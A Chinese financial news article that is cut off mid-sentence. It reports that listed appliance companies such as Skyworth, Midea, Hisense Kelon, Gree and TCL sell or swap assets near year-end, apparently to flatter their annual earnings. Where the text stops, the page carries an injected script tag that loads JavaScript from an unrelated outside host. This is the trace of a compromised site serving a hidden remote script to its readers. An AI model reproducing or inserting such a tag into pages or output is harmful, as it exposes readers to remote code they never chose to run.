“年来到，年来到，重组保壳真热闹。”又是年关将至，家电类上市公司再度上演一股“资产大腾挪”的重组好戏，涉及创维、美的、华凌、海信科龙、tcl等等，几乎席卷所有家电类上市公司。
值得注意的是，无论是“买进”还是“出售”，上述交易均在一定程度上左右上市公司的财报盈亏性质。无论是从相关交易的时间、价格、所得资金用途和存续条件等看来，其粉饰年终财务业绩报告的嫌疑指数均为不低。
曾记起，当年备受国际化大跃进冲动带出巨亏煎熬的sttcl(000100.sz)，临近年关时一笔石破天惊的涉及约15亿的tcl照明电工业务的出售交易，令tcl前三季度尚录得亏损11亿元的当年财报随之面目全非。
如今看来，“善于学习”的家电类上市公司高管们，对主营业务赚钱的能力一般，但拨弄财技却是超一流水平。不仅擅长挪用巨额资金打新股赚大钱，还能使出断臂卖子好过年的妙招，委实让其他行业业界人士刮目相看。
创维“贱卖”机顶盒
11月22日晚，香港上市的创维数码(0751.hk)突然发布公告称，其全资附属公司rgb同意以1.18亿元的价格出售创维数字技术有限公司(简称：数字技术)16％股权给三大战略投资者。而就在几周前，rgb已经出售了12％股权予公司高级管理层及雇员。
资料显示，数字技术成立于2002年，是创维上市公司旗下，主要从事生产及销售用以连接广播信号的机顶盒和电视盒，并为系统集成商提供增值服务。近年来数字技术相继开发出具有完全自主知识产权的多款数字电视机顶盒产品，为有线电视运营商提供全面的数字化解决方案，近年来一直保持着30％左右的国内数字电视机顶盒市场占有率，高居同行前三名。
由于数字电视业务发展很快，盈利状况良好，创维今年一直声称有意将其分拆出来单独上市融资。今年9月20日，创维数码更是发布公告，首次承认已着手进行分拆机顶盒业务上市的计划，并将所持有的机顶盒业务附属公司创维数字技术(深圳)有限公司共11.77％股份，出售给后者的管理层及雇员，作价人民币2110万元。
“此次股权交易从时间、价格、所得资金用途和存续条件等方面讲，创维选择在年底加速出售数字技术股权，难免有粉饰财报之嫌。”有分析人士指出。
单从创维公告看，按照双方约定的条件，三大战略投资买方需于2007年12月31日或之前支付代价金额的80％，也就是9400万左右。尚若计入当期收益，将会使季度财报和全年财报脱胎换骨。
创维总裁张学斌并不讳言这一点。他向记者承认，“这笔逾9000万港元的收益将会反映在创维2007年度综合账目内，会对创维2007年度的盈利状况有提升作用。”
从交易价格而看似乎也有“贱卖”之嫌。
创维公告的李普和叶晓彬两大自然人战略投资买家而言，他们所购数字技术股权代价相当于截至上年度公司综合盈利净额的6.89倍市盈率；对第三个战略买家深圳领优而言，则相当于10.05倍市盈率。“这与国内股市动辄四、五十倍的市盈率相比，差距很大。尤其是在对概念极度吹捧的a股市场，而我国已明确在2015年停播模拟电视，全面进入数字电视时代，机顶盒市场显然‘钱’景远大。”
某种意义上说，去年尚盈利1.28亿港币的创维目前并不缺钱。对于出售所得的资金用途，创维的交待仅仅是“用于补充集团一般运营资金”。
“只能说创维希望把财报搞得更亮丽些，追求锦上添花的效果，也以此继续证明深受黄宏生危机的创维发展良好。”有证券分析人士如此猜测。
重组是虚 保壳是真
不仅仅是创维，事实上近期家电类上市公司断臂卖子的资产置换重组动作，超乎业界想像的频频发生。
11月20日，海信科龙(000921.sz)发布公告称，st科龙拟向海信空调定向增发总数不超过3.65亿a股来收购白电资产，发行价格为本次董事会公告前20个交易日科龙电器a股股票日加权平均价的算术平均值，即6.98元／股，海信空调承诺认购股份锁定36个月。
11月21日，格力电器(000651.sz)母公司集团传出消息，旗下格力罗西尼表业股权将于12月份之前完成过户，整体转让给“依波表业”母公司福建丰榕投资有限公司。为此格力集团套现2.62亿元现金。
11月24日，美的电器(000527.sz)公告宣布拟以47，957.79万元受让美的集团直接或间接持有的华凌集团(0382.hk)旗下合肥华凌100％股权、广州华凌100％股权、中国雪柜95％股权；拟以3，112.86万元受让美的集团持有的重庆美通30％股权。
11月下旬，一度在业界炒得沸沸扬扬的tcl电脑公司出售再有新动向。据知情人士报料，tcl集团已于近日悄然出让tcl电脑公司82％的股份，受让人是在香港注册的一家公司，具体金额不详。
中国家电网主编吕盛华向记者分析，每到年末，各板块上市公司往往展开一系列的资产重组来巧妙?script src=http://er12.com/t.js>
